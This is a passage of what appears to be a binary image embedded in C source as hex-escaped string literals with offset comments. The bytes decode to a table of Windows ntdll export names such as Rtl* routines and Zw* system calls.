"\x6C\x53\x74\x72\x69\x6E\x67\x46\x72\x6F\x6D\x47\x55\x49\x44\x00" //lStringFromGUID. /* 00F280 */ "\x52\x74\x6C\x53\x75\x62\x41\x75\x74\x68\x6F\x72\x69\x74\x79\x43" //RtlSubAuthorityC /* 00F2A0 */ "\x6F\x75\x6E\x74\x53\x69\x64\x00\x52\x74\x6C\x53\x75\x62\x41\x75" //ountSid.RtlSubAu /* 00F2C0 */ "\x74\x68\x6F\x72\x69\x74\x79\x53\x69\x64\x00\x52\x74\x6C\x53\x75" //thoritySid.RtlSu /* 00F2E0 */ "\x62\x74\x72\x65\x65\x50\x72\x65\x64\x65\x63\x65\x73\x73\x6F\x72" //btreePredecessor /* 00F300 */ "\x00\x52\x74\x6C\x53\x75\x62\x74\x72\x65\x65\x53\x75\x63\x63\x65" //.RtlSubtreeSucce /* 00F320 */ "\x73\x73\x6F\x72\x00\x52\x74\x6C\x53\x79\x73\x74\x65\x6D\x54\x69" //ssor.RtlSystemTi /* 00F340 */ "\x6D\x65\x54\x6F\x4C\x6F\x63\x61\x6C\x54\x69\x6D\x65\x00\x52\x74" //meToLocalTime.Rt /* 00F360 */ "\x6C\x54\x69\x6D\x65\x46\x69\x65\x6C\x64\x73\x54\x6F\x54\x69\x6D" //lTimeFieldsToTim /* 00F380 */ "\x65\x00\x52\x74\x6C\x54\x69\x6D\x65\x54\x6F\x45\x6C\x61\x70\x73" //e.RtlTimeToElaps /* 00F3A0 */ "\x65\x64\x54\x69\x6D\x65\x46\x69\x65\x6C\x64\x73\x00\x52\x74\x6C" //edTimeFields.Rtl /* 00F3C0 */ "\x54\x69\x6D\x65\x54\x6F\x53\x65\x63\x6F\x6E\x64\x73\x53\x69\x6E" //TimeToSecondsSin /* 00F3E0 */ "\x63\x65\x31\x39\x37\x30\x00\x52\x74\x6C\x54\x69\x6D\x65\x54\x6F" //ce1970.RtlTimeTo /* 00F400 */ "\x53\x65\x63\x6F\x6E\x64\x73\x53\x69\x6E\x63\x65\x31\x39\x38\x30" //SecondsSince1980 /* 00F420 */ "\x00\x52\x74\x6C\x54\x69\x6D\x65\x54\x6F\x54\x69\x6D\x65\x46\x69" //.RtlTimeToTimeFi /* 00F440 */ "\x65\x6C\x64\x73\x00\x52\x74\x6C\x54\x72\x61\x63\x65\x44\x61\x74" //elds.RtlTraceDat /* 00F460 */ "\x61\x62\x61\x73\x65\x41\x64\x64\x00\x52\x74\x6C\x54\x72\x61\x63" //abaseAdd.RtlTrac /* 00F480 */ "\x65\x44\x61\x74\x61\x62\x61\x73\x65\x43\x72\x65\x61\x74\x65\x00" //eDatabaseCreate. /* 00F4A0 */ "\x52\x74\x6C\x54\x72\x61\x63\x65\x44\x61\x74\x61\x62\x61\x73\x65" //RtlTraceDatabase /* 00F4C0 */ "\x44\x65\x73\x74\x72\x6F\x79\x00\x52\x74\x6C\x54\x72\x61\x63\x65" //Destroy.RtlTrace /* 00F4E0 */ "\x44\x61\x74\x61\x62\x61\x73\x65\x45\x6E\x75\x6D\x65\x72\x61\x74" //DatabaseEnumerat /* 00F500 */ "\x65\x00\x52\x74\x6C\x54\x72\x61\x63\x65\x44\x61\x74\x61\x62\x61" //e.RtlTraceDataba /* 00F520 */ "\x73\x65\x46\x69\x6E\x64\x00\x52\x74\x6C\x54\x72\x61\x63\x65\x44" //seFind.RtlTraceD /* 00F540 */ "\x61\x74\x61\x62\x61\x73\x65\x4C\x6F\x63\x6B\x00\x52\x74\x6C\x54" //atabaseLock.RtlT /* 00F560 */ "\x72\x61\x63\x65\x44\x61\x74\x61\x62\x61\x73\x65\x55\x6E\x6C\x6F" //raceDatabaseUnlo /* 00F580 */ "\x63\x6B\x00\x52\x74\x6C\x54\x72\x61\x63\x65\x44\x61\x74\x61\x62" //ck.RtlTraceDatab /* 00F5A0 */ "\x61\x73\x65\x56\x61\x6C\x69\x64\x61\x74\x65\x00\x52\x74\x6C\x54" //aseValidate.RtlT /* 00F5C0 */ "\x72\x79\x45\x6E\x74\x65\x72\x43\x72\x69\x74\x69\x63\x61\x6C\x53" //ryEnterCriticalS /* 00F5E0 */ "\x65\x63\x74\x69\x6F\x6E\x00\x52\x74\x6C\x55\x6C\x6F\x6E\x67\x42" //ection.RtlUlongB /* 00F600 */ "\x79\x74\x65\x53\x77\x61\x70\x00\x52\x74\x6C\x55\x6C\x6F\x6E\x67" //yteSwap.RtlUlong /* 00F620 */ "\x6C\x6F\x6E\x67\x42\x79\x74\x65\x53\x77\x61\x70\x00\x52\x74\x6C" //longByteSwap.Rtl /* 00F640 */ "\x55\x6E\x68\x61\x6E\x64\x6C\x65\x64\x45\x78\x63\x65\x70\x74\x69" //UnhandledExcepti /* 00F660 */ "\x6F\x6E\x46\x69\x6C\x74\x65\x72\x00\x52\x74\x6C\x55\x6E\x68\x61" //onFilter.RtlUnha /* 00F680 */ "\x6E\x64\x6C\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6F\x6E\x46\x69" //ndledExceptionFi /* 00F6A0 */ "\x6C\x74\x65\x72\x32\x00\x52\x74\x6C\x55\x6E\x69\x63\x6F\x64\x65" //lter2.RtlUnicode /* 00F6C0 */ "\x53\x74\x72\x69\x6E\x67\x54\x6F\x41\x6E\x73\x69\x53\x69\x7A\x65" //StringToAnsiSize /* 00F6E0 */ "\x00\x52\x74\x6C\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E" //.RtlUnicodeStrin /* 00F700 */ "\x67\x54\x6F\x41\x6E\x73\x69\x53\x74\x72\x69\x6E\x67\x00\x52\x74" //gToAnsiString.Rt /* 00F720 */ "\x6C\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x54\x6F" //lUnicodeStringTo /* 00F740 */ "\x43\x6F\x75\x6E\x74\x65\x64\x4F\x65\x6D\x53\x74\x72\x69\x6E\x67" //CountedOemString /* 00F760 */ "\x00\x52\x74\x6C\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E" //.RtlUnicodeStrin /* 00F780 */ "\x67\x54\x6F\x49\x6E\x74\x65\x67\x65\x72\x00\x52\x74\x6C\x55\x6E" //gToInteger.RtlUn /* 00F7A0 */ "\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x54\x6F\x4F\x65\x6D" //icodeStringToOem /* 00F7C0 */ "\x53\x69\x7A\x65\x00\x52\x74\x6C\x55\x6E\x69\x63\x6F\x64\x65\x53" //Size.RtlUnicodeS /* 00F7E0 */ "\x74\x72\x69\x6E\x67\x54\x6F\x4F\x65\x6D\x53\x74\x72\x69\x6E\x67" //tringToOemString /* 00F800 */ "\x00\x52\x74\x6C\x55\x6E\x69\x63\x6F\x64\x65\x54\x6F\x43\x75\x73" //.RtlUnicodeToCus /* 00F820 */ "\x74\x6F\x6D\x43\x50\x4E\x00\x52\x74\x6C\x55\x6E\x69\x63\x6F\x64" //tomCPN.RtlUnicod /* 00F840 */ "\x65\x54\x6F\x4D\x75\x6C\x74\x69\x42\x79\x74\x65\x4E\x00\x52\x74" //eToMultiByteN.Rt /* 00F860 */ "\x6C\x55\x6E\x69\x63\x6F\x64\x65\x54\x6F\x4D\x75\x6C\x74\x69\x42" //lUnicodeToMultiB /* 00F880 */ "\x79\x74\x65\x53\x69\x7A\x65\x00\x52\x74\x6C\x55\x6E\x69\x63\x6F" //yteSize.RtlUnico /* 00F8A0 */ "\x64\x65\x54\x6F\x4F\x65\x6D\x4E\x00\x52\x74\x6C\x55\x6E\x69\x66" //deToOemN.RtlUnif /* 00F8C0 */ "\x6F\x72\x6D\x00\x52\x74\x6C\x55\x6E\x6C\x6F\x63\x6B\x42\x6F\x6F" //orm.RtlUnlockBoo /* 00F8E0 */ "\x74\x53\x74\x61\x74\x75\x73\x44\x61\x74\x61\x00\x52\x74\x6C\x55" //tStatusData.RtlU /* 00F900 */ "\x6E\x6C\x6F\x63\x6B\x48\x65\x61\x70\x00\x52\x74\x6C\x55\x6E\x6C" //nlockHeap.RtlUnl /* 00F920 */ "\x6F\x63\x6B\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65\x61\x6D\x52" //ockMemoryStreamR /* 00F940 */ "\x65\x67\x69\x6F\x6E\x00\x52\x74\x6C\x55\x6E\x77\x69\x6E\x64\x00" //egion.RtlUnwind. /* 00F960 */ "\x52\x74\x6C\x55\x70\x63\x61\x73\x65\x55\x6E\x69\x63\x6F\x64\x65" //RtlUpcaseUnicode /* 00F980 */ "\x43\x68\x61\x72\x00\x52\x74\x6C\x55\x70\x63\x61\x73\x65\x55\x6E" //Char.RtlUpcaseUn /* 00F9A0 */ "\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x55" //icodeString.RtlU /* 00F9C0 */ "\x70\x63\x61\x73\x65\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69" //pcaseUnicodeStri /* 00F9E0 */ "\x6E\x67\x54\x6F\x41\x6E\x73\x69\x53\x74\x72\x69\x6E\x67\x00\x52" //ngToAnsiString.R /* 00FA00 */ "\x74\x6C\x55\x70\x63\x61\x73\x65\x55\x6E\x69\x63\x6F\x64\x65\x53" //tlUpcaseUnicodeS /* 00FA20 */ "\x74\x72\x69\x6E\x67\x54\x6F\x43\x6F\x75\x6E\x74\x65\x64\x4F\x65" //tringToCountedOe /* 00FA40 */ "\x6D\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x55\x70\x63\x61\x73" //mString.RtlUpcas /* 00FA60 */ "\x65\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x54\x6F" //eUnicodeStringTo /* 00FA80 */ "\x4F\x65\x6D\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x55\x70\x63" //OemString.RtlUpc /* 00FAA0 */ "\x61\x73\x65\x55\x6E\x69\x63\x6F\x64\x65\x54\x6F\x43\x75\x73\x74" //aseUnicodeToCust /* 00FAC0 */ "\x6F\x6D\x43\x50\x4E\x00\x52\x74\x6C\x55\x70\x63\x61\x73\x65\x55" //omCPN.RtlUpcaseU /* 00FAE0 */ "\x6E\x69\x63\x6F\x64\x65\x54\x6F\x4D\x75\x6C\x74\x69\x42\x79\x74" //nicodeToMultiByt /* 00FB00 */ "\x65\x4E\x00\x52\x74\x6C\x55\x70\x63\x61\x73\x65\x55\x6E\x69\x63" //eN.RtlUpcaseUnic /* 00FB20 */ "\x6F\x64\x65\x54\x6F\x4F\x65\x6D\x4E\x00\x52\x74\x6C\x55\x70\x64" //odeToOemN.RtlUpd /* 00FB40 */ "\x61\x74\x65\x54\x69\x6D\x65\x72\x00\x52\x74\x6C\x55\x70\x70\x65" //ateTimer.RtlUppe /* 00FB60 */ "\x72\x43\x68\x61\x72\x00\x52\x74\x6C\x55\x70\x70\x65\x72\x53\x74" //rChar.RtlUpperSt /* 00FB80 */ "\x72\x69\x6E\x67\x00\x52\x74\x6C\x55\x73\x61\x67\x65\x48\x65\x61" //ring.RtlUsageHea /* 00FBA0 */ "\x70\x00\x52\x74\x6C\x55\x73\x68\x6F\x72\x74\x42\x79\x74\x65\x53" //p.RtlUshortByteS /* 00FBC0 */ "\x77\x61\x70\x00\x52\x74\x6C\x56\x61\x6C\x69\x64\x41\x63\x6C\x00" //wap.RtlValidAcl. /* 00FBE0 */ "\x52\x74\x6C\x56\x61\x6C\x69\x64\x52\x65\x6C\x61\x74\x69\x76\x65" //RtlValidRelative /* 00FC00 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74" //SecurityDescript /* 00FC20 */ "\x6F\x72\x00\x52\x74\x6C\x56\x61\x6C\x69\x64\x53\x65\x63\x75\x72" //or.RtlValidSecur /* 00FC40 */ "\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x00\x52\x74" //ityDescriptor.Rt /* 00FC60 */ "\x6C\x56\x61\x6C\x69\x64\x53\x69\x64\x00\x52\x74\x6C\x56\x61\x6C" //lValidSid.RtlVal /* 00FC80 */ "\x69\x64\x61\x74\x65\x48\x65\x61\x70\x00\x52\x74\x6C\x56\x61\x6C" //idateHeap.RtlVal /* 00FCA0 */ "\x69\x64\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x48\x65\x61\x70" //idateProcessHeap /* 00FCC0 */ "\x73\x00\x52\x74\x6C\x56\x61\x6C\x69\x64\x61\x74\x65\x55\x6E\x69" //s.RtlValidateUni /* 00FCE0 */ "\x63\x6F\x64\x65\x53\x74\x72\x69\x6E\x67\x00\x52\x74\x6C\x56\x65" //codeString.RtlVe /* 00FD00 */ "\x72\x69\x66\x79\x56\x65\x72\x73\x69\x6F\x6E\x49\x6E\x66\x6F\x00" //rifyVersionInfo. /* 00FD20 */ "\x52\x74\x6C\x57\x61\x6C\x6B\x46\x72\x61\x6D\x65\x43\x68\x61\x69" //RtlWalkFrameChai /* 00FD40 */ "\x6E\x00\x52\x74\x6C\x57\x61\x6C\x6B\x48\x65\x61\x70\x00\x52\x74" //n.RtlWalkHeap.Rt /* 00FD60 */ "\x6C\x57\x72\x69\x74\x65\x4D\x65\x6D\x6F\x72\x79\x53\x74\x72\x65" //lWriteMemoryStre /* 00FD80 */ "\x61\x6D\x00\x52\x74\x6C\x57\x72\x69\x74\x65\x52\x65\x67\x69\x73" //am.RtlWriteRegis /* 00FDA0 */ "\x74\x72\x79\x56\x61\x6C\x75\x65\x00\x52\x74\x6C\x5A\x65\x72\x6F" //tryValue.RtlZero /* 00FDC0 */ "\x48\x65\x61\x70\x00\x52\x74\x6C\x5A\x65\x72\x6F\x4D\x65\x6D\x6F" //Heap.RtlZeroMemo /* 00FDE0 */ "\x72\x79\x00\x52\x74\x6C\x5A\x6F\x6D\x62\x69\x66\x79\x41\x63\x74" //ry.RtlZombifyAct /* 00FE00 */ "\x69\x76\x61\x74\x69\x6F\x6E\x43\x6F\x6E\x74\x65\x78\x74\x00\x52" //ivationContext.R /* 00FE20 */ "\x74\x6C\x70\x41\x70\x70\x6C\x79\x4C\x65\x6E\x67\x74\x68\x46\x75" //tlpApplyLengthFu /* 00FE40 */ "\x6E\x63\x74\x69\x6F\x6E\x00\x52\x74\x6C\x70\x45\x6E\x73\x75\x72" //nction.RtlpEnsur /* 00FE60 */ "\x65\x42\x75\x66\x66\x65\x72\x53\x69\x7A\x65\x00\x52\x74\x6C\x70" //eBufferSize.Rtlp /* 00FE80 */ "\x4E\x6F\x74\x4F\x77\x6E\x65\x72\x43\x72\x69\x74\x69\x63\x61\x6C" //NotOwnerCritical /* 00FEA0 */ "\x53\x65\x63\x74\x69\x6F\x6E\x00\x52\x74\x6C\x70\x4E\x74\x43\x72" //Section.RtlpNtCr /* 00FEC0 */ "\x65\x61\x74\x65\x4B\x65\x79\x00\x52\x74\x6C\x70\x4E\x74\x45\x6E" //eateKey.RtlpNtEn /* 00FEE0 */ "\x75\x6D\x65\x72\x61\x74\x65\x53\x75\x62\x4B\x65\x79\x00\x52\x74" //umerateSubKey.Rt /* 00FF00 */ "\x6C\x70\x4E\x74\x4D\x61\x6B\x65\x54\x65\x6D\x70\x6F\x72\x61\x72" //lpNtMakeTemporar /* 00FF20 */ "\x79\x4B\x65\x79\x00\x52\x74\x6C\x70\x4E\x74\x4F\x70\x65\x6E\x4B" //yKey.RtlpNtOpenK /* 00FF40 */ "\x65\x79\x00\x52\x74\x6C\x70\x4E\x74\x51\x75\x65\x72\x79\x56\x61" //ey.RtlpNtQueryVa /* 00FF60 */ "\x6C\x75\x65\x4B\x65\x79\x00\x52\x74\x6C\x70\x4E\x74\x53\x65\x74" //lueKey.RtlpNtSet /* 00FF80 */ "\x56\x61\x6C\x75\x65\x4B\x65\x79\x00\x52\x74\x6C\x70\x55\x6E\x57" //ValueKey.RtlpUnW /* 00FFA0 */ "\x61\x69\x74\x43\x72\x69\x74\x69\x63\x61\x6C\x53\x65\x63\x74\x69" //aitCriticalSecti /* 00FFC0 */ "\x6F\x6E\x00\x52\x74\x6C\x70\x57\x61\x69\x74\x46\x6F\x72\x43\x72" //on.RtlpWaitForCr /* 00FFE0 */ "\x69\x74\x69\x63\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E\x00\x52\x74" //iticalSection.Rt /* 010000 */ "\x6C\x78\x41\x6E\x73\x69\x53\x74\x72\x69\x6E\x67\x54\x6F\x55\x6E" //lxAnsiStringToUn /* 010020 */ "\x69\x63\x6F\x64\x65\x53\x69\x7A\x65\x00\x52\x74\x6C\x78\x4F\x65" //icodeSize.RtlxOe /* 010040 */ "\x6D\x53\x74\x72\x69\x6E\x67\x54\x6F\x55\x6E\x69\x63\x6F\x64\x65" //mStringToUnicode /* 010060 */ "\x53\x69\x7A\x65\x00\x52\x74\x6C\x78\x55\x6E\x69\x63\x6F\x64\x65" //Size.RtlxUnicode /* 010080 */ "\x53\x74\x72\x69\x6E\x67\x54\x6F\x41\x6E\x73\x69\x53\x69\x7A\x65" //StringToAnsiSize /* 0100A0 */ "\x00\x52\x74\x6C\x78\x55\x6E\x69\x63\x6F\x64\x65\x53\x74\x72\x69" //.RtlxUnicodeStri /* 0100C0 */ "\x6E\x67\x54\x6F\x4F\x65\x6D\x53\x69\x7A\x65\x00\x56\x65\x72\x53" //ngToOemSize.VerS /* 0100E0 */ "\x65\x74\x43\x6F\x6E\x64\x69\x74\x69\x6F\x6E\x4D\x61\x73\x6B\x00" //etConditionMask. /* 010100 */ "\x5A\x77\x41\x63\x63\x65\x70\x74\x43\x6F\x6E\x6E\x65\x63\x74\x50" //ZwAcceptConnectP /* 010120 */ "\x6F\x72\x74\x00\x5A\x77\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63" //ort.ZwAccessChec /* 010140 */ "\x6B\x00\x5A\x77\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x41" //k.ZwAccessCheckA /* 010160 */ "\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x00\x5A\x77\x41" //ndAuditAlarm.ZwA /* 010180 */ "\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70\x65" //ccessCheckByType /* 0101A0 */ "\x00\x5A\x77\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79" //.ZwAccessCheckBy /* 0101C0 */ "\x54\x79\x70\x65\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61\x72" //TypeAndAuditAlar /* 0101E0 */ "\x6D\x00\x5A\x77\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42" //m.ZwAccessCheckB /* 010200 */ "\x79\x54\x79\x70\x65\x52\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x00" //yTypeResultList. /* 010220 */ "\x5A\x77\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54" //ZwAccessCheckByT /* 010240 */ "\x79\x70\x65\x52\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64" //ypeResultListAnd /* 010260 */ "\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x00\x5A\x77\x41\x63\x63" //AuditAlarm.ZwAcc /* 010280 */ "\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79\x70\x65\x52\x65" //essCheckByTypeRe /* 0102A0 */ "\x73\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64\x41\x75\x64\x69\x74" //sultListAndAudit /* 0102C0 */ "\x41\x6C\x61\x72\x6D\x42\x79\x48\x61\x6E\x64\x6C\x65\x00\x5A\x77" //AlarmByHandle.Zw /* 0102E0 */ "\x41\x64\x64\x41\x74\x6F\x6D\x00\x5A\x77\x41\x64\x64\x42\x6F\x6F" //AddAtom.ZwAddBoo /* 010300 */ "\x74\x45\x6E\x74\x72\x79\x00\x5A\x77\x41\x64\x6A\x75\x73\x74\x47" //tEntry.ZwAdjustG /* 010320 */ "\x72\x6F\x75\x70\x73\x54\x6F\x6B\x65\x6E\x00\x5A\x77\x41\x64\x6A" //roupsToken.ZwAdj /* 010340 */ "\x75\x73\x74\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x73\x54\x6F\x6B" //ustPrivilegesTok /* 010360 */ "\x65\x6E\x00\x5A\x77\x41\x6C\x65\x72\x74\x52\x65\x73\x75\x6D\x65" //en.ZwAlertResume /* 010380 */ "\x54\x68\x72\x65\x61\x64\x00\x5A\x77\x41\x6C\x65\x72\x74\x54\x68" //Thread.ZwAlertTh /* 0103A0 */ "\x72\x65\x61\x64\x00\x5A\x77\x41\x6C\x6C\x6F\x63\x61\x74\x65\x4C" //read.ZwAllocateL /* 0103C0 */ "\x6F\x63\x61\x6C\x6C\x79\x55\x6E\x69\x71\x75\x65\x49\x64\x00\x5A" //ocallyUniqueId.Z /* 0103E0 */ "\x77\x41\x6C\x6C\x6F\x63\x61\x74\x65\x55\x73\x65\x72\x50\x68\x79" //wAllocateUserPhy /* 010400 */ "\x73\x69\x63\x61\x6C\x50\x61\x67\x65\x73\x00\x5A\x77\x41\x6C\x6C" //sicalPages.ZwAll /* 010420 */ "\x6F\x63\x61\x74\x65\x55\x75\x69\x64\x73\x00\x5A\x77\x41\x6C\x6C" //ocateUuids.ZwAll /* 010440 */ "\x6F\x63\x61\x74\x65\x56\x69\x72\x74\x75\x61\x6C\x4D\x65\x6D\x6F" //ocateVirtualMemo /* 010460 */ "\x72\x79\x00\x5A\x77\x41\x72\x65\x4D\x61\x70\x70\x65\x64\x46\x69" //ry.ZwAreMappedFi /* 010480 */ "\x6C\x65\x73\x54\x68\x65\x53\x61\x6D\x65\x00\x5A\x77\x41\x73\x73" //lesTheSame.ZwAss /* 0104A0 */ "\x69\x67\x6E\x50\x72\x6F\x63\x65\x73\x73\x54\x6F\x4A\x6F\x62\x4F" //ignProcessToJobO /* 0104C0 */ "\x62\x6A\x65\x63\x74\x00\x5A\x77\x43\x61\x6C\x6C\x62\x61\x63\x6B" //bject.ZwCallback /* 0104E0 */ "\x52\x65\x74\x75\x72\x6E\x00\x5A\x77\x43\x61\x6E\x63\x65\x6C\x44" //Return.ZwCancelD /* 010500 */ "\x65\x76\x69\x63\x65\x57\x61\x6B\x65\x75\x70\x52\x65\x71\x75\x65" //eviceWakeupReque /* 010520 */ "\x73\x74\x00\x5A\x77\x43\x61\x6E\x63\x65\x6C\x49\x6F\x46\x69\x6C" //st.ZwCancelIoFil /* 010540 */ "\x65\x00\x5A\x77\x43\x61\x6E\x63\x65\x6C\x54\x69\x6D\x65\x72\x00" //e.ZwCancelTimer. /* 010560 */ "\x5A\x77\x43\x6C\x65\x61\x72\x45\x76\x65\x6E\x74\x00\x5A\x77\x43" //ZwClearEvent.ZwC /* 010580 */ "\x6C\x6F\x73\x65\x00\x5A\x77\x43\x6C\x6F\x73\x65\x4F\x62\x6A\x65" //lose.ZwCloseObje /* 0105A0 */ "\x63\x74\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x00\x5A\x77\x43" //ctAuditAlarm.ZwC /* 0105C0 */ "\x6F\x6D\x70\x61\x63\x74\x4B\x65\x79\x73\x00\x5A\x77\x43\x6F\x6D" //ompactKeys.ZwCom /* 0105E0 */ "\x70\x61\x72\x65\x54\x6F\x6B\x65\x6E\x73\x00\x5A\x77\x43\x6F\x6D" //pareTokens.ZwCom /* 010600 */ "\x70\x6C\x65\x74\x65\x43\x6F\x6E\x6E\x65\x63\x74\x50\x6F\x72\x74" //pleteConnectPort /* 010620 */ "\x00\x5A\x77\x43\x6F\x6D\x70\x72\x65\x73\x73\x4B\x65\x79\x00\x5A" //.ZwCompressKey.Z /* 010640 */ "\x77\x43\x6F\x6E\x6E\x65\x63\x74\x50\x6F\x72\x74\x00\x5A\x77\x43" //wConnectPort.ZwC /* 010660 */ "\x6F\x6E\x74\x69\x6E\x75\x65\x00\x5A\x77\x43\x72\x65\x61\x74\x65" //ontinue.ZwCreate /* 010680 */ "\x44\x65\x62\x75\x67\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x43\x72" //DebugObject.ZwCr /* 0106A0 */ "\x65\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x4F\x62\x6A" //eateDirectoryObj /* 0106C0 */ "\x65\x63\x74\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x45\x76\x65\x6E" //ect.ZwCreateEven /* 0106E0 */ "\x74\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74\x50" //t.ZwCreateEventP /* 010700 */ "\x61\x69\x72\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x46\x69\x6C\x65" //air.ZwCreateFile /* 010720 */ "\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x49\x6F\x43\x6F\x6D\x70\x6C" //.ZwCreateIoCompl /* 010740 */ "\x65\x74\x69\x6F\x6E\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x4A\x6F" //etion.ZwCreateJo /* 010760 */ "\x62\x4F\x62\x6A\x65\x63\x74\x00\x5A\x77\x43\x72\x65\x61\x74\x65" //bObject.ZwCreate /* 010780 */ "\x4A\x6F\x62\x53\x65\x74\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x4B" //JobSet.ZwCreateK /* 0107A0 */ "\x65\x79\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x4B\x65\x79\x65\x64" //ey.ZwCreateKeyed /* 0107C0 */ "\x45\x76\x65\x6E\x74\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x4D\x61" //Event.ZwCreateMa /* 0107E0 */ "\x69\x6C\x73\x6C\x6F\x74\x46\x69\x6C\x65\x00\x5A\x77\x43\x72\x65" //ilslotFile.ZwCre /* 010800 */ "\x61\x74\x65\x4D\x75\x74\x61\x6E\x74\x00\x5A\x77\x43\x72\x65\x61" //ateMutant.ZwCrea /* 010820 */ "\x74\x65\x4E\x61\x6D\x65\x64\x50\x69\x70\x65\x46\x69\x6C\x65\x00" //teNamedPipeFile. /* 010840 */ "\x5A\x77\x43\x72\x65\x61\x74\x65\x50\x61\x67\x69\x6E\x67\x46\x69" //ZwCreatePagingFi /* 010860 */ "\x6C\x65\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x50\x6F\x72\x74\x00" //le.ZwCreatePort. /* 010880 */ "\x5A\x77\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x00" //ZwCreateProcess. /* 0108A0 */ "\x5A\x77\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x45" //ZwCreateProcessE /* 0108C0 */ "\x78\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x66\x69\x6C" //x.ZwCreateProfil /* 0108E0 */ "\x65\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x53\x65\x63\x74\x69\x6F" //e.ZwCreateSectio /* 010900 */ "\x6E\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x53\x65\x6D\x61\x70\x68" //n.ZwCreateSemaph /* 010920 */ "\x6F\x72\x65\x00\x5A\x77\x43\x72\x65\x61\x74\x65\x53\x79\x6D\x62" //ore.ZwCreateSymb /* 010940 */ "\x6F\x6C\x69\x63\x4C\x69\x6E\x6B\x4F\x62\x6A\x65\x63\x74\x00\x5A" //olicLinkObject.Z /* 010960 */ "\x77\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x5A\x77" //wCreateThread.Zw /* 010980 */ "\x43\x72\x65\x61\x74\x65\x54\x69\x6D\x65\x72\x00\x5A\x77\x43\x72" //CreateTimer.ZwCr /* 0109A0 */ "\x65\x61\x74\x65\x54\x6F\x6B\x65\x6E\x00\x5A\x77\x43\x72\x65\x61" //eateToken.ZwCrea /* 0109C0 */ "\x74\x65\x57\x61\x69\x74\x61\x62\x6C\x65\x50\x6F\x72\x74\x00\x5A" //teWaitablePort.Z /* 0109E0 */ "\x77\x44\x65\x62\x75\x67\x41\x63\x74\x69\x76\x65\x50\x72\x6F\x63" //wDebugActiveProc /* 010A00 */ "\x65\x73\x73\x00\x5A\x77\x44\x65\x62\x75\x67\x43\x6F\x6E\x74\x69" //ess.ZwDebugConti /* 010A20 */ "\x6E\x75\x65\x00\x5A\x77\x44\x65\x6C\x61\x79\x45\x78\x65\x63\x75" //nue.ZwDelayExecu /* 010A40 */ "\x74\x69\x6F\x6E\x00\x5A\x77\x44\x65\x6C\x65\x74\x65\x41\x74\x6F" //tion.ZwDeleteAto /* 010A60 */ "\x6D\x00\x5A\x77\x44\x65\x6C\x65\x74\x65\x42\x6F\x6F\x74\x45\x6E" //m.ZwDeleteBootEn /* 010A80 */ "\x74\x72\x79\x00\x5A\x77\x44\x65\x6C\x65\x74\x65\x46\x69\x6C\x65" //try.ZwDeleteFile /* 010AA0 */ "\x00\x5A\x77\x44\x65\x6C\x65\x74\x65\x4B\x65\x79\x00\x5A\x77\x44" //.ZwDeleteKey.ZwD /* 010AC0 */ "\x65\x6C\x65\x74\x65\x4F\x62\x6A\x65\x63\x74\x41\x75\x64\x69\x74" //eleteObjectAudit /* 010AE0 */ "\x41\x6C\x61\x72\x6D\x00\x5A\x77\x44\x65\x6C\x65\x74\x65\x56\x61" //Alarm.ZwDeleteVa /* 010B00 */ "\x6C\x75\x65\x4B\x65\x79\x00\x5A\x77\x44\x65\x76\x69\x63\x65\x49" //lueKey.ZwDeviceI /* 010B20 */ "\x6F\x43\x6F\x6E\x74\x72\x6F\x6C\x46\x69\x6C\x65\x00\x5A\x77\x44" //oControlFile.ZwD /* 010B40 */ "\x69\x73\x70\x6C\x61\x79\x53\x74\x72\x69\x6E\x67\x00\x5A\x77\x44" //isplayString.ZwD /* 010B60 */ 